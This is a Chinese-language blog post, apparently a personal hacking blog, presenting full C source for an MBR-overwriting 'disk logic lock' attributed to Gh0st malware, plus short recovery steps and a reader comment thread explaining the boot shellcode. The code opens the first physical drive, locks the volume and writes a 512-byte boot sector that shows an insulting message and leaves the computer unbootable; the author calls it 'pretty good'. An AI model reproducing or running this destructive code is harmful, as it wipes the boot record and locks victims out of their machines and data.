玩命加载中qwq

硬盘逻辑锁-Gh0st病毒源代码 分析&恢复方法

  • 2016-05-17
  • 8,700
  • 8

上次做了一个”瞬间清除磁盘数据 电脑蓝屏退出“的程序,今天来研究一下硬盘逻辑锁代码。主要是重构MBR以及写入。

附上代码:

#include<stdio.h>
#include<tchar.h>
#include<Windows.h>
#include<ntddscsi.h>

//这一段是 shellcode 可以修改
// I am virus! Fuck you 
unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";


int KillMBR();
int main()
{
	KillMBR();
	return 0;
}

int KillMBR()
{
	HANDLE hDevice;
	DWORD dwBytesWritten, dwBytesReturned;
	BYTE pMBR[512] = { 0 };

	// 重新构造MBR
	memcpy(pMBR, scode, sizeof(scode)-1);
	pMBR[510] = 0x55;
	pMBR[511] = 0xAA;

	//打开磁盘
	hDevice = CreateFile
		(
		_T("\\\\.\\PHYSICALDRIVE0"),
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		0,
		NULL
		);
	if (hDevice == INVALID_HANDLE_VALUE)//打开失败 返回
		return -1;
	DeviceIoControl
		(
		hDevice,
		FSCTL_LOCK_VOLUME,
		NULL,
		0,
		NULL,
		0,
		&dwBytesReturned,
		NULL
		);
	// 写入病毒内容
	WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
	DeviceIoControl
		(
		hDevice,
		FSCTL_UNLOCK_VOLUME,
		NULL,
		0,
		NULL,
		0,
		&dwBytesReturned,
		NULL
		);
	//关闭磁盘
	CloseHandle(hDevice);

	ExitProcess(-1);
	return 0;
}

这段代码还是挺不错的,运行过后,重启电脑会出现以下文字,并且无法开机。


pic

如果不慎运行,恢复办法:
1.启动到PE环境下
2.运行DiskGenius->菜单->搜索丢失的分区 并按提示重建分区表
3.菜单->重建引导记录
4.保存重启即可

灌水吐槽区(登录QQ有头像!)

  • JingJingHack

    能分析一下那个ShellCode嘛?

    • 小雨萌萌哒丶

      _(:3 」∠)_ShellCode就是 “I am virus! Fuck you” 呀。。我也想研究它是怎么生成的,尝试了很多次都不行哒

      • VOID001

        没有去对照它的16进制code对应的指令,不过这个东西的原理就是覆盖掉bootsector,它这个scode里面的内容我猜测是这样的(AT&T语法)

        mov string, %ax
        mov len, %cx
        int $0x10
        loop: jmp $loop

        string : .char “I am virus! Fuck you”

        最后在第一扇区末尾填充了表示该扇区为bootsector的Magicnumber 0xaa55
        然后,系统开机的时候,就会执行这一段代码,而不是原来的bootsector
        其实这个程序能运行的话也是不合理的,修改bootsector的内容是很危险的操作,所以可能win对权限的check上做的也不够好才导致这个virus能生效

        • 小雨萌萌哒丶

          果然dalao就是不一样! 我装好linux了~ qwq

          • VOID001

            func main () {
            if VOID001 == “dalao” {
            panic(“这货竟然是大佬 (╯‵□′)╯︵┻━┻ “)
            }
            println(“OwO不是大佬啦”)
            }

            admin@rabbitu$ go run main.go
            OwO不是大佬啦

            • 小雨萌萌哒丶

              admin@VOID001$ go run main.go
              这货竟然是大佬 (╯‵□′)╯︵┻━┻

你必须 登录 才能发表灌水吐槽区(登录QQ有头像!).